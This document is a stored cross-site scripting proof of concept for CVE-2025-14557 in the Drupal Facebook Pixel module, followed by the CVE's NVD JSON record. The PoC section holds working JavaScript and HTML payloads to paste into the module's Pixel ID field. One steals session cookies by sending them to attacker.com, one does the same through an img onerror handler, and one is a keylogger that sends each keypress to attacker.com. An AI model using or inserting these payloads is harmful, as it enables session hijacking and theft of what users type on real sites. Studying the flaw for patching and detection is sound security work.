CVE-2025-14557

<!-- Stored XSS PoC for Drupal Facebook Pixel CVE-2025-14557 --> <!-- This PoC demonstrates the XSS vulnerability in Facebook Pixel module --> <!-- Step 1: Inject malicious JavaScript via Facebook Pixel configuration --> <script> // Malicious payload that steals session cookies var stolenCookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://attacker.com/steal?cookies=' + encodeURIComponent(stolenCookies), true); xhr.send(); </script> <!-- Alternative payload using img tag for cookie theft --> <img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie"> <!-- Keybase payload for keylogging --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k=' + e.key); }); </script> <!-- Example: How to exploit via Facebook Pixel admin interface --> <!-- Insert the following in the Pixel ID field or custom data field --> <script>alert('XSS')</script> <!-- or --> <img src=x onerror=alert(document.domain)>

{"cve": {"id": "CVE-2025-14557", "sourceIdentifier": "[email protected]", "published": "2026-01-14T19:16:41.550", "lastModified": "2026-01-23T14:04:10.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Drupal Facebook Pixel facebook_pixel allows Stored XSS.This issue affects Facebook Pixel: from 7.X-1.0 through 7.X-1.1."}, {"lang": "es", "value": "Neutralización Inadecuada de la Entrada Durante la Generación de Páginas Web (XSS o 'cross-site scripting') vulnerabilidad en Drupal Facebook Pixel facebook_pixel permite XSS Almacenado. Este problema afecta a Facebook Pixel: desde la 7.X-1.0 hasta la 7.X-1.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:facebook_pixel_project:facebook_pixel:*:*:*:*:*:drupal:*:*", "versionStartIncluding": "7.x-1.0", "versionEndIncluding": "7.x-1.1", "matchCriteriaId": "F1A3D248-E32B-43BD-BB15-0543CD21ED17"}]}]}], "references": [{"url": "https://d7es.tag1.com/security-advisories/facebook-pixel-less-critical-cross-site-scripting", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.herodevs.com/vulnerability-directory/cve-2025-14557", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}